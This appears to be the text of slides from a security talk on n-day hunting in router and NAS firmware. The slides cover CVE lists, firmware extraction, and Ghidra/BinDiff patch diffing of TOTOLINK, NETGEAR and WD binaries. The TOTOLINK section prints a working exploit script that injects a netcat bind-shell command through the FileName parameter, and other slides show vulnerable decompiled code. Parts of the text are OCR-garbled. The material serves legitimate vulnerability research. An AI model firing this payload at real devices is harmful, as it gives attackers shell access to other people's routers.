

## `WHOAMI`

- IoT security researcher
- Interested in learning reverse engineering & vulnerability research
- @lamAlch3mist

```
AFL ++4.09a {default} (.../327680-3346432.cramfs_extract/bin/busybox) [fast]
                  0 days, 0 hrs, 0 min, 6 sec
                  none yet (odd, check syntax!)
                                                       corpus count : 1
                  none seen yet
                                                      saved crashes : 0
                  none seen vet
                                                       saved hangs : 0
 cycle progress
                                         map coverage
  now processing : 0.15 (0.0%)
                                          map density : 0.42% / 0.42%
                  0 (0.00%)
                                        count coverage : 1.00 bits/tuple
                                         findings in depth
                                        favored items : 1 (100.00%)
              130/459 (28.32%)
                                        new edges on : 1 (100.00%)
              6588
                                                       0 (0 saved)
              1300/sec
                                        total tmouts : 1 (0 saved)
  fuzzing strategy yields
              disabled (default, enable with -D)
 byte flips : disabled (default, enable with -D)
                                                        pending: 0
              disabled (default, enable with -D)
              disabled (default, enable with -D)
                                                      own finds : 0
                                                       imported : 0
              0/6438, 0/0
                                                      stability : 100.00%
              unused, unused, unused
                                                               [cpu000: 12%]
              95.12%/11, disabled
 strategy: explore
                              state: started :-)
```



## **AGENDA: WHY N-DAYS?**

- Zero-day vs N-day
- To get into vulnerability research
- Real world bug hunting experience
- One step near to finding real 0 days

## TPLINK - CVE???

### **TPLINK**

- 11 CVE records only
- In Chinese countries referred as **TOTOLINK**

#### Search Results

Name	Description
CVE-2023-43138	TPLINK TL-ER5120G 4.0 2.0.0 Build 210817 Rel.80868n has a command injection vulnerability, when an attacker adds NAPT rules after authentication, and the rule name has an injection point.
CVE-2023-43137	TPLINK TL-ER5120G 4.0 2.0.0 Build 210817 Rel.80868n has a command injection vulnerability, when an attacker adds ACL rules after authentication, and the rule name parameter has injection points.
CVE-2023-38909	An issue in TPLink Smart bulb Tapo series L530 v.1.0.0 and Tapo Application v.2.8.14 allows a remote attacker to obtain sensitive information via the IV component in the AES128-CBC function.
CVE-2023-38908	An issue in TPLink Smart bulb Tapo series L530 v.1.0.0 and Tapo Application v.2.8.14 allows a remote attacker to obtain sensitive information via the TSKEP authentication function.
CVE-2023-38907	An issue in TPLink Smart bulb Tapo series L530 v.1.0.0 and Tapo Application v.2.8.14 allows a remote attacker to obtain sensitive information via session key in the message function.
CVE-2023-38906	An issue in TPLink Smart bulb Tapo series L530 v.1.0.0 and Tapo Application v.2.8.14 allows a remote attacker to obtain sensitive information via the authentication code for the UDP message.
CVE-2020-12475	TP-Link Omada Controller Software 3.2.6 allows Directory Traversal for reading arbitrary files via com.tp_link.eap.web.portal.PortalController.getAdvertiseFile in /opt/tplink/EAPController/lib/eap-web-3.2.6.jar.
CVE-2015-3035	Directory traversal vulnerability in TP-LINK Archer C5 (1.2) with firmware before 150317, C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3500 (1.0), and TL-WDR4300 (1.0), and TL-WDR4300 (1.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (9.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310 allows remote attackers to read arbitrary files via a (dot dot) in the PATH_INFO to login/.
CVE-2012-6276	Directory traversal vulnerability in the web-based management interface on the TP-LINK TL-WR841N router with firmware 3.13.9 build 120201 Rel.54965n and earlier allows remote attackers to read arbitrary files via the URL parameter.
CVE-2012-5687	Directory traversal vulnerability in the web-based management feature on the TP-LINK TL-WR841N router with firmware 3.13.9 build 120201 Rel.54965n and earlier allows remote attackers to read arbitrary files via a (dot dot) in the PATH_INFO to the help/ URI.
CVE-2012-2440	The default configuration of the TP-Link 8840T router enables web-based administration on the WAN interface, which allows remote attackers to establish an HTTP connection and possibly have unspecified other impact via unknown vectors.

**SEARCH CVE USING KEYWORDS:** 

You can also search by reference using the CVE Reference Maps. For More Information: CVE Request Web Form (select "Other" from dropdown)

## TOTOLINK - CVE???

### **TOTOLINK**

- Found around 544 CVE for TOTOLINK
- I have little bit experience working with TPLINK routers

#### Search Results

There are 544 CVE	Records that match your search,
Name	
CVE-2024-32335	TOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in Access Control under the Wireless Page.
CVE-2024-32334	TOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in IP/Port Filtering under the Firewall Page.
CVE-2024-32333	TOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in MAC Filtering under the Firewall Page.
CVE-2024-32332	TOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in WDS Settings under the Wireless Page.
CVE-2024-32327	TOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in Port Forwarding under the Firewall Page.
CVE-2024-32326	TOTOLINK EX200 V4.0.3c.7646_B20201211 contains a Cross-site scripting (XSS) vulnerability through the key parameter in the setWiFiExtenderConfig function.
CVE-2024-32325	TOTOLINK EX200 V4.0.3c.7646_B20201211 contains a Cross-site scripting (XSS) vulnerability through the ssid parameter in the setWiFiExtenderConfig function.
CVE-2024-31817	In TOTOLINK EX200 V4.0.3c.7646_B20201211, an attacker can obtain sensitive information without authorization through the function getSysStatusCfg.
CVE-2024-31816	In TOTOLINK EX200 V4.0.3c.7646_B20201211, an attacker can obtain sensitive information without authorization through the function getEasyWizardCfg.
CVE-2024-31815	In TOTOLINK EX200 V4.0.3c.7314_B20191204, an attacker can obtain the configuration file without authorization through /cgi-bin/ExportSettings.sh
CVE-2024-31814	TOTOLINK EX200 V4.0.3c.7646_B20201211 allows attackers to bypass login through the Form_Login function.
CVE-2024-31813	TOTOLINK EX200 V4.0.3c.7646_B20201211 does not contain an authentication mechanism by default.
CVE-2024-31812	In TOTOLINK EX200 V4.0.3c.7646_B20201211, an attacker can obtain sensitive information without authorization through the function getWiFiExtenderConfig.
CVE-2024-31811	TOTOLINK EX200 V4.0.3c.7646_B20201211 was discovered to contain a remote code execution (RCE) vulnerability via the langType parameter in the setLanguageCfg function.
CVE-2024-31809	TOTOLINK EX200 V4.0.3c.7646_B20201211 was discovered to contain a remote code execution (RCE) vulnerability via the FileName parameter in the setUpgradeFW function.
CVE-2024-31808	TOTOLINK EX200 V4.0.3c.7646_B20201211 was discovered to contain a remote code execution (RCE) vulnerability via the webWlanIdx parameter in the setWebWlanIdx function.
CVE-2024-31807	TOTOLINK EX200 V4.0.3c.7646_B20201211 was discovered to contain a remote code execution (RCE) vulnerability via the hostTime parameter in the NTPSyncWithHost function.
CVE-2024-31806	TOTOLINK EX200 V4.0.3c.7646_B20201211 was discovered to contain a Denial-of-Service (DoS) vulnerability in the RebootSystem function which can reboot the system without authorization.
CVE-2024-31805	TOTOLINK EX200 V4.0.3c.7646_B20201211 allows attackers to start the Telnet service without authorization via the telnet_enabled parameter in the setTelnetCfg function.
CVE-2024-29419	There is a Cross-site scripting (XSS) vulnerability in the Wireless settings under the Easy Setup Page of TOTOLINK X2000R before v1.0.0-B20231213.1013.
CVE-2024-28640	Buffer Overflow vulnerability in TOTOLink X5000R V9.1.0u.6118-B20201102 and A7000R V9.1.0u.6115-B20201022 allows a remote attacker to cause a denial of service (DOS) via the command field.
CVE-2024-28639	Buffer Overflow vulnerability in TOTOLink X5000R V9.1.0u.6118-B20201102 and A7000R V9.1.0u.6115-B20201022, allow remote attackers to execute arbitrary code and cause a denial of service (DoS) via the IP
CVE-2024-28404	TOTOLINK X2000R before V1.0.0-B20231213.1013 contains a Stored Cross-site scripting (XSS) vulnerability in MAC Filtering under the Firewall Page.
CVE-2024-28403	TOTOLINK X2000R before V1.0.0-B20231213.1013 is vulnerable to Cross Site Scripting (XSS) via the VPN Page.
CVE-2024-28402	TOTOLINK X2000R before V1.0.0-B20231213.1013 contains a Stored Cross-site scripting (XSS) vulnerability in IP/Port Filtering under the Firewall Page.
CVE-2024-28401	TOTOLINK X2000R before v1.0.0-B20231213.1013 contains a Store Cross-site scripting (XSS) vulnerability in Root Access Control under the Wireless Page.
CVE-2024-28338	A login bypass in TOTOLINK A8000RU V7.1cu.643_B20200521 allows attackers to login to Administrator accounts via providing a crafted session cookie.
CVE-2024-27521	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain an unauthenticated remote command execution (RCE) vulnerability via multiple parameters in the "setOpModeCfg" function. This security
CVE-2024-25468	An issue in TOTOLINK X5000R V.9.1.0u.6369_B20230113 allows a remote attacker to cause a denial of service via the host_time parameter of the NTPSyncWithHost component.

HOME > CVE > CVE-2023-46574


#### **TOTOLINK**

 TOTOLINK A3700R v.9.1.2u.6165 firmware vulnerable to code execution in FileName parameter

Printer-Friendly View CVE-ID CVE-2023-46574 Learn more at National Vulnerability Database (NVD) • CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information An issue in TOTOLINK A3700R v.9.1.2u.6165 20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function. Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete. MISC:https://github.com/OraclePi/repo/blob/main/totolink%20A3700R/1/A3700R%20%20V9.1.2u.6165\_20211012%20vuln.md Assigning CNA MITRE Corporation Date Record Created 20231023 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE. Phase (Legacy) Assigned (20231023) Votes (Legacy) Comments (Legacy Proposed (Legacy)

#### TOTOLINK - A3700R

- Found the vulnerable firmware
- Firmware is not encrypted, yay!



#### TOTOLINK - CSTECGI.CGI

ead file error:%s!

- Extracted the file system using unblob
- Using grep found the vulnerable cgi binary

```
→ grep -Ra FileName 2>/dev/null
www/cgi-bin/cstecgi.cgi:protal pagert_sta_wisprt_sta_autowl_sta_wispwl_sta_autowan_route_xIP_Routedsw_modenetworkmap_fullscanWanTypeListIP_Bridgedd
hcp,pppoe,staticrestart_rebootcnHelpUrl_%shttp://%srm -f %s/tmp/discoverdiscover &discoverProtoflash_sizeflashSizemtkplatformcloudFwcomputer_name10
000maxSizesetUpgradeFW2.0csteVersion/cgi-bin/cstecgi.cgi?action=upload&UploadFirmwareFileupgradeAction/tmp/linux.trx/cgi-bin/cstecgi.cgi?action=upl
oad&setUploadSettingimportAction/cgi-bin/ExportSettings.shexportActioncs_resetFileNameContentLengthMSG_config_errorsettingERRHDR2/sbin/watchdogkill
all %s %s-qwatchdog/usr/sbin/nvramrestoreresetFlagskillall %sforceupgcloudupg_modecloudupg_timecp -f %s %s/bin/mtd_write/tmp/proc/sys/vm/drop_cache
srestore_defaultsflash_firmwarewtimeupgradeStatusFullName/tmp/myImage.imgmv %s %sMM_FwFileInvalidupgradeERRMM_fwupload_errorfullflashMM_flashsize_e
rrorMM_cloud_fw2flash1Bad size: "%s" is no valid image
QUERY_STRINGCONTENT_LENGTHaction=loginflag=ie8flag=1{"topicurl":"loginAuth","loginAuthUrl":"%s&http_host=%s&flag=1"}{"topicurl":"loginAuth","loginAuthUrl":"%s&http_host=%s&flag=1"}{"topicurl":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","cert_type":"%s","fileName": "%s","FileName": "%d","flags":"%d","FileName": "%s","FolieName": "%s","FileName": "%s","Fil
```


#### TOTOLINK - CSTECGI.CGI


- Using string search in ghidra
- Found the cross reference to the string in FUN\_0042f718
- Command injection in FileName parameter – source
- doSystem function is the sink

```
memset(img name, 0x0, 0x80);
file name ret = websGetVar(param 1, "FileName", (undefined2 *) 0x43b918);
websGetVar(param 1, "FullName", (undefined2 *) 0x43b918);
nptr = websGetVar(param 1, "ContentLength", &DAT 00439bac);
uVar1 = cJSON CreateObject();
lVar2 = strtol((char *) nptr,NULL,0xa);
len = 1Var2 + 0x1;
imq name[0] = '/';
img name[1] = 't';
img name[2] = 'm';
img name[3] = 'p';
img name[4] = '/';
img name[5] = 'm';
img name[6] = 'y';
img name[7] = 'I';
img name[8] = 'm';
img name[9] = 'a';
img name[10] = 'g';
img name[11] = 'e';
img name[12] = '.';
img name[13] = 'i';
img name[14] = 'm';
img name[15] = 'g';
img name [16] = '\0';
doSystem ("mv %s %s", file name ret, img name);
```

#### **TOTOLINK - EMULATION**

- Emulated the http web server
- Emulation is straight forward
- Little bit of patching is required
- Server started in port 80:0





#### **TOTOLINK - EXPLOITATION**

- Final POC to exploit the command injection
- Requires authentication to exploit the bug

#### TOTOLINK - EXPLOIT POC

- FileName parameter is a JSON object to the binary
- Injected netcat bindshell payload
- Easy N-day?

```
ἢ xpl.py
import requests
import time
url = 'http://127.0.0.1/cgi-bin/cstecgi.cgi'
session id = '2:1713592506:2'
data = {'topicurl': 'UploadFirmwareFile', 'FileName': ';nc -lp 1234 -e /bin/sh;'}
headers = {'Cookie': f'SESSION ID={session id}'}
response = requests.post(url, headers=headers, json=data)
if response.status_code == 200:
    print('POST request successful!')
    print('Response content:', response.text)
else:
    print('POST request failed with status code:', response.status code)
```

## TOTOLINK - EASY N-DAY

### TOTOLINK - EXPLOIT POC


- FileName parameter is a JSON object to the binary
- Injected netcat bindshell payload
- Easy N-day?

```
🦆 xpl.py
import re ests
import time
url = 'http://127.0.0.1/cvi-bin/cstecgi.cgi'
session id = '2:1713592506:2'
data = {'topicurl': 'UploadFirmwareFile', 'FileName': ';nc -lp 1234 -e /bin/sh;'}
headers = {'Cookie': f'SESSION ID={session id}'}
response = requests.post(url, headers=headers, json=data)
if response.status_code == 200:
    print('POST request successful!')
    print('Response content:', response.text)
  # time.sleep(100)
else:
    print('POST request failed with status code:', response.status code)
```

# GHIDRA + BINDIFF = N-DAYS



- **Effective way to find N-days**
- Compare Code between executable
- I don't own IDA pro



#### RAX30

- Firmware version 1.0.7.78 is vulnerable
- Bug patched in firmware version 1.0.9.92
- Downloaded both firmware for further analysis

Printer-Friendly View

#### CVE-ID

CVE-2022-4390

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

#### escription

A network misconfiguration is present in versions prior to 1.0.9.90 of the NETGEAR RAX30 AX2400 series of routers. IPv6 is enabled for the WAN interface by default on these devices. While there are firewall restrictions in place that define access restrictions for IPv4 traffic, these restrictions do not appear to be applied to the WAN interface for IPv6. This allows arbitrary access to any services running on the device that may be inadvertently listening via IPv6, such as the SSH and Telnet servers spawned on ports 22 and 23 by default. This misconfiguration could allow an attacker to interact with services only intended to be accessible by clients on the local network.

#### References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

- MISC:https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own.html
- URL:https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own.html
- MISC:https://www.tenable.com/security/research/tra-2022-36,
- URL:https://www.tenable.com/security/research/tra-2022-36,

#### **Assigning CNA**

Tenable Network Security, Inc.

#### **Date Record Created**

20221209


Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.


#### Phase (Legacy)

Assigned (20221209)

#### **RAX30 - PUHTTPSNIFF**

- Exported the binary to BinExport format using ghidra for both patched & vulnerable version
- 0.87 similarity a good start





Call Graph (75/85) Matched Functions (60)

#### **RAX30 - PUHTTPSNIFF**

- 2 Functions had some changes
- sub\_110AC vs sub\_11360 0.98 similarity
- sub\_10FF8 vs nflog\_get\_payload -0.00 similarity



Matched Functions (60)

#### **RAX30 - PUHTTPSNIFF**


- vulnerable binary is primary
- Patched binary is secondary
- Let's look at CFG (control flow graph)




### primary


```
000110AC
                                                                     sub_110AC
                                                           000110AC
                                                                     stmdb sp!, {r0,r1,r2,r4,r5,r6,r7,1r}
                                                           999119B9
                                                                           r0, r2
                                                                     сру
                                                           000110B4
                                                                            r4, r2
                                                                     сру
                                                                            nflog_get_packet_hw
                                                           000110B8
                                                                     ы
                                                                            r1, sp, #0x4
                                                           000110BC
                                                                     add
                                                           00011000
                                                                     сру
                                                                            r6, r0
                                                           000110C4
                                                                            r0, r4
                                                                     сру
                                                           000110C8
                                                                     bl
                                                                            nflog_get_payload
r5, [sp,#local_1c]
                                                           000110CC
                                                                     1dr
                                                                            r5, #0x0
                                                           000110D0
                                                                     стр
                                                           000110D4
                                                                     cmpne r0, #0x0
                                                           000110D8
                                                                     ble
                                                                            LAB 00011100
                                                                sub_110AC
                                                     000110AC
                                                     000110DC
                                                               ldrb
                                                                     r4, [r5,#0x0]
                                                     000110E0
                                                                       r4, r4, #0xf
                                                     000110E4
                                                                mov
                                                                       r4, r4, 1s1 #0x2
                                                     000110E8
                                                                       r4, #0x13
                                                               стр
                                                     000110EC bhi
                                                                       LAB_0001110c
                 000110AC
                           sub_110AC
                                                             000110AC
                                                                        sub_110AC
                                                                              r0, [DAT_00011168]
                 0001110C
                                  r7, r0
                                                             000110F0
                                                                        ldr
                           сру
                 00011110
                           1dr
                                  r0, [r5,#0xc]
                                                             000110F4
                                                                              r1, r4
                                                                       сру
                 00011114
                           ь1
                                  inet_ntoa
                                                             000110F8
                                                                        add
                                                                              r0, pc, r0
                                  r5, r5, r4
r12, [r5,#0xc]
                 00011118
                           add
                 0001111C ldrb
                 00011120
                                  r12, r12, 1sr #0x4
                          mov
                 00011124
                          mov
                                  r12, r12, 1s1 #0x2
                                  r12, #0x13
                 00011128
                          стр
                 0001112C cpy
                                  r3, r0
                                  LAB_00011144
                 00011130
                           bhi
000110AC
          sub_110AC
                                       000110AC
                                                 sub_110AC
00011144
          1drh r2, [r5,#0x2]
                                                            [DAT_0001116c]
                                       00011134
                                                 1dr
                                                        rΘ,
                 r2, #0x5000
00011148
          cmp
                                       00011138
                                                 сру
                                                         r1, r12
                 LAB_00011100
0001114C
                                       0001113C
                                                 add
                                                        r0, pc, r0
          bne
                                       00011140
                                                         LAB_000110fc
                                                   000110AC sub_110AC
           000110AC sub_110AC
           00011150
                      add
                            r1, r4, r12
                                                   000110FC bl
                                                                    printf
                            r2, r6, #0x4
r1, r7, r1
           00011154
                      add
           00011158
                     sub
           0001115C
                     add
                            r0, r5, r12
           00011160 bl
                             FUN_00010ff8
           00011164 b
                             LAB_00011100
                                    sub_110AC
                          00011100
                                    mov
                                           r0, #0x0
                          00011104
                                    add sp, sp, #0xc
                          00011108
                                   ldmia sp!, {r4,r5,r6,r7,pc}
```

secondary









primary

### secondary

00010FF8 sub\_10FF8 00010FF8 stmdb sp!, {r4, r5, r6, r7, lr} 00010FFC mov r4, #0x0 sp, sp, #0x304 r6, r1 00011000 sub

r2, #0xfc r1, r4 r5, r0

**Additional code** 

00011014 r0, sp, #0x4 00011018 r7, r3 r4, [sp,#0x0] 0001101C

00011020 memset r0, sp, #0x104 r2, #0x1fc 00011024 00011028

0001102C r1, r4 r4, [sp, #local\_218] 00011030 str 00011034 memset

00011038 r6, #0x9

сру

0001103C ble LAB\_00011098

00010FF8 sub\_10FF8 00011040 r1, [DAT\_000110a0] 00011044 r0, r5 сру

r4, [r5,r6] 00011048 strb 0001104C r1, pc, r1 00011050

00011054

00011058

00011004 00011008

0001100C

00011010

strstr CMD beq

r0, #0x0 LAB\_00011098

00010FF8 sub\_10FF8 0001105C ldr r1, [DAT\_000110a4]

00011060 r4, sp сру 00011064 r2, r4 00011068 r0, r0, #0xc

r1, pc, r1 \_\_isoc99\_sscanf 0001106C 00011070 00011074 r3, r4

r1, [DAT\_000110a8] 00011078 r4, sp, #0x100 0001107C

r2, r7 00011080 00011084 r1, pc, r1

r0, r4 00011088 0001108C sprintf

00011090 r0, r4 00011094 system

00010FF8 sub\_10FF8

00011098 add sp, sp, #0x304 0001109C ldmia sp!, {r4, r5, r6, r7, pc} 00010C20 nflog\_get\_payload 00010C20 adr r12, 0x10c28 r12, r12, #0x11000 00010C24 add pc, [r12,#0x3f0]! 00010C28 ldr

### **RAX30 - FUN\_0010FF8**

- No verification for special characters from user agent substring
- Sink to system function causes command injection

```
Decompile: FUN_00010ff8 - (puhttpsniff_vuln)
 2 void FUN 00010ff8 (char *hay stack, int idx, undefined4 param 3, undefined4 param 4)
    char *sub_str;
    char buf 2 [0x100];
    char buf 1 [0x204];
    buf 2[0] = ' \0';
    buf 2[1] = ' \ 0';
    buf 2[2] = ' 0';
    buf 2[3] = ' \ 0';
    memset (buf 2 + 0x4,0x0,0xfc);
    buf 1[0] = ' \0';
    buf 1[1] = ' \ 0';
    buf 1[2] = ' \ 0';
    buf 1[3] = ' \ 0';
    memset (buf 1 + 0x4,0x0,0x1fc);
    if (9 < idx) {
      hay stack[idx] = '\0';
     sub str = strstr(hay stack, "User-Agent: ");
      if (sub str != NULL) {
         isoc99 sscanf(sub str + 12, "%255[^\r\n]", buf 2);
         sprintf(buf 1, "pudil -i %s \"%s\"", param 4, buf 2);
         system(buf 1);
26
27
    return:
29
```

- x86 architecture in an embedded device
- Another Nday why not, tired of routers right
- Bindiff works well with x86

### PR4100 - 2.40.155

- CVE still unknown patched before the pwn2own competition
- Downloaded both vulnerable
   & patched firmware
- Hash based diffing to find the vulnerable binary

```
(kali@kali)-[~/Desktop/wd_nas/bins]

$\frac{1}{5} \ls -lah

total 56K

drwxr-xr-x 2 kali kali 4.0K Apr 21 08:37 .

drwxr-xr-x 5 kali kali 4.0K Apr 21 08:36 ..

-rwxr-xr-x 1 kali kali 15K Apr 21 08:37 login_mgr.cgi_patch
-rwxr-xr-x 1 kali kali 32K Apr 21 08:37 login_mgr.cgi_vuln

(kali@kali)-[~/Desktop/wd_nas/bins]

$\begin{align*}
(kali@kali)-[~/Desktop/wd_nas/bins]
```

### PR4100 - 2.40.155

- login\_mgr.cgi is the vulnerable binary
- Patched binary is smaller than vulnerable one
- Code has been removed in patched binary

```
(kali⊕kali)-[~/Desktop/wd_nas/bins]

$\frac{1}{2}$ ls -lah

total 56K

drwxr-xr-x 2 kali kali 4.0K Apr 21 08:37 .

drwxr-xr-x 5 kali kali 4.0K Apr 21 08:36 ..


-rwxr-xr-x 1 kali kali 15K Apr 21 08:37 login_mgr.cgi_patch
-rwxr-xr-x 1 kali kali 32K Apr 21 08:37 login_mgr.cgi_vuln

(kali⊕kali)-[~/Desktop/wd_nas/bins]

$\begin{aliength}
$\begin{alie
```


	Similarity A	Confidence	Address	Primary Name	Туре	Address	Secondary Name	Туре
4	0.12	0.27	00401BC0	gmon_start	Thunk	001011E0	sub_1011E0	Normal
4	0.44	0.99	00401FB0	main	Thunk	001050D0	main	Thunk
A.	0.44	0.99	00401FD0	entry	Normal	001011B0	entry	Normal
4	0.45	0.90	00403C40	cgiMain	Normal	00101950	cgiMain	Normal
A	0.50	0.99	00401C30	libc_start_main	Thunk	00105020	libc_start_main	Thunk
A	0.60	0.88	00401AF0	_init	Normal	00101250	_FINI_0	Normal
4	0.63	0.73	00402470	sub_402470	Normal	00101600	sub_101600	Normal
4	0.85	0.95	004023B0	sub_4023B0	Normal	001014E0	sub_1014E0	Normal
4	0.88	0.90	004025C0	sub_4025C0	Normal	00101770	sub_101770	Normal
4	0.88	0.94	00402860	sub_402860	Normal	00101000	_DT_INIT	Normal
4	0.93	0.95	00402340	sub_402340	Normal	00101470	sub_101470	Normal
4	0.93	0.94	00402250	sub_402250	Normal	00101370	sub_101370	Normal
4	0.97	0.97	00405650	sub_405650	Normal	001019A0	sub_1019A0	Normal
4	0.98	0.98	00402180	sub_402180	Normal	001012A0	sub_1012A0	Normal
A	0.98	0.99	00402520	sub_402520	Normal	001016C0	sub_1016C0	Normal

- Binary had similarity of 0.29
- cgiMain looks interesting (0.45 similarity)
- Binary is stripped, (we got some symbols)



cgiMain 00101950


### secondary




00101950 og iMain 00101987 XOR 00101989 LEA 0010198E POP 0010198F RET


EAX, EAX RSP, [RSP + 0×20] RBX

- Based on the edges we can guess it is an if else condition
- Most of this code is removed in patched version






- cmd parameter is checked against some strings
- If cmd parameter conatins wd\_login it reaches the function FUN\_00402980
- And more checks for cmd parameter



161 / 161 Primary Unmatch	▼  X   ф	
Address -	Name	Type z
00401FFC	sub_401FFC	Normal
00402025	sub_402025	Normal
0040205E	sub_40205E	Normal
004020AF	sub_4020AF	Normal
004020E0	sub_4020E0	Normal
00402770	sub_402770	Normal
00402810	sub_402810	Normal
004028F0	sub_4028F0	Normal
00402920	sub_402920	Normal
00402980	sub_402980	Normal
00403710	sub_403710	Normal
004037E0	sub_4037E0	Normal
00403990	sub_403990	Normal
004039D0	sub_4039D0	Normal
00403A10	sub_403A10	Normal
00403D60	remove_0D_0A	Normal
00403DB0	sub_403DB0	Normal
00403E30	sub_403E30	Normal
00403EF0	sub_403EF0	Normal
00404050	sub_404050	Normal
004040E0	sha_hash	Normal

- FUN\_00402980 is present in primary unmatched
- Rest of the code also removed in patched binary



- FUN\_00402980 function is vulnerable to buffer overflow
- cgiFormString function used to store username and password in stack buffer

```
00 00 00 00 00 00
00402a8a e8 11 f5 ff ff
                                 CALL
                                         <EXTERNAL>::time
                                                                       time t time (tim
00402a8f ba 20 00 00 00
                                         EDX, 32
                                 MOV
00402a94 48 8d 74 24 50
                                         RSI=>user buf, [RSP + 80]
                                 LEA
00402a99 bf 64 58 40 00
                                         EDI,s username 00405864
                                                                       = "username"
                                 MOV
00402a9e 48 89 44 24 08
                                 MOV
                                         gword ptr [RSP + 0x8]=>time...
00402aa3 e8 28 f3 ff ff
                                         <EXTERNAL>::cgiFormString
                                                                       undefined cgiFo
                                 CALL
00402aa8 ba 00 01 00 00
                                 MOV
                                         EDX, 256
00402aad 48 8d b4 24 d0 00
                                         RSI=>pwd buf, [RSP + 208]
                                 LEA
         00 00
                                                                       = "pwd"
00402ab5 bf 6d 58 40 00
                                         EDI,s pwd 0040586d
                                 MOV
                                         <EXTERNAL>::cgiFormString
00402aba e8 11 f3 ff ff
                                 CALL
                                                                       undefined cgiFo
00402abf ba 00 01 00 00
                                 MOV
                                         EDX, 256
00402ac4 48 8d b4 24 d0 00
                                         RSI=>pwd buf, [RSP + 208]
                                 LEA
         00 00
00402acc 48 8d bc 24 90 00
                                         RDI=>pwd buf2, [RSP + 144]
                                 LEA
         00 00
00402ad4 e8 e7 2a 00 00
                                         base64 decode
                                 CALL
                                                                       undefined base6
```

- Password buffer is an argument to base64\_decode function
- Password2 buffer stores the decoded base64 password
- Overflow condition (password2 buffer is only 64 bytes)

```
00 00 00 00 00 00
00402a8a e8 11 f5 ff ff
                                 CALL
                                         <EXTERNAL>::time
                                                                       time t time (tim
00402a8f ba 20 00 00 00
                                MOV
                                         EDX, 32
00402a94 48 8d 74 24 50
                                         RSI=>user buf, [RSP + 80]
                                 LEA
                                         EDI,s username 00405864
00402a99 bf 64 58 40 00
                                 MOV
                                                                       = "username"
00402a9e 48 89 44 24 08
                                         gword ptr [RSP + 0x8]=>time...
                                 MOV
00402aa3 e8 28 f3 ff ff
                                         <EXTERNAL>::cgiFormString
                                                                       undefined cgiFo
                                 CALL
00402aa8 ba 00 01 00 00
                                MOV
                                         EDX, 256
00402aad 48 8d b4 24 d0 00
                                         RSI=>pwd buf, [RSP + 208]
                                 LEA
         00 00
                                                                       = "pwd"
00402ab5 bf 6d 58 40 00
                                         EDI,s pwd 0040586d
                                 MOV
                                         <EXTERNAL>::cgiFormString
00402aba e8 11 f3 ff ff
                                CALL
                                                                       undefined cgiFo
00402abf ba 00 01 00 00
                                MOV
                                         EDX,256
00402ac4 48 8d b4 24 d0 00
                                         RSI=>pwd buf, [RSP + 208]
                                 LEA
         00 00
00402acc 48 8d bc 24 90 00
                                         RDI=>pwd buf2, [RSP + 144]
                                 LEA
         00 00
00402ad4 e8 e7 2a 00 00
                                         base64 decode
                                                                       undefined base6
                                CALL
```

- Decoded password is more than 64 bytes
- Decompiled code is mess to read
- Beautified decompiled code

```
char user_buf[32];
char pwd_buf2[64];
char pwd_buf[256];
tVar7 = time();
cgiFormString("username",&user_buf,32);
cgiFormString("pwd",pwd_buf,256);
base64_decode(pwd_buf2,pwd_buf,256);
```

#### PR4100 - EMULATION

- Tried emulating the webserver but failed
- Requires lots of patching to get the emulation environment

```
□ • • 9:33 A G
                                        kali@kali: ~/Desktop/wd nas/vuln/WDMyCloud PR4100 GPL v2.40.155 20200713/firmware/module/crf
File Actions Edit View Help
bash-4.2# cat start.sh
tz=\$(date +\%z)
wd_format="${tz:0:3}:${tz:3:2}"
export WD_TZ=${wd_format}
mycl_id_file="/usr/local/config/mycl_id"
mycl_id=`cat ${mycl_id_file}`
export MYCL_ID=${mycl_id}
LD_PRELOAD=/hook.so httpd -f /usr/local/apache2/conf/httpd.conf
bash-4.2# bash start.sh
AH00544: httpd: bad group name root
bash-4.2# ls
WebHelp
                       firefly
                                             locallib
                                                                    perl5
                                                                                           twonky
                                             localnas
                                                                    python27
                       hook.c
                                             localonboarding
                                                                    qemu-amd64-static
                                                                                           usrlib
bin
                       hook.so
                                             localorion
                                                                    rest-api
                                                                                           usrsbin
create_ramdisk.sh
                                             localrestsdk
                       init_environment.sh
dbus-1
                                            localsbin
                                                                    sbin
                                                                                          wdcomp.d
default
                                             localwddirect
                                                                    script
                                             localwdmcserver
                                                                    start.sh
                                                                                           zoneinfo
                       language custom
                       lib
                                             mkimage
driver
                                                                    SU
                       1ib64
                                             mysql
files
                       localbin
bash-4.2#
```

# **DEMO**

Diffing the login\_mgr binary


## PITFALLS

- Took me a lot of time to complete this research
- Meanwhile I worked on some other firmware's that didn't end up on this talk
- Emulation didn't go well in some cases it failed

# TOTOLINK

### **TOTOLINK-**

- Diffing for TOTOLINK firmware, bindiff fails to produce proper CFG
- I'm no expert in MIPS assembly



0042F718 sub\_42F718

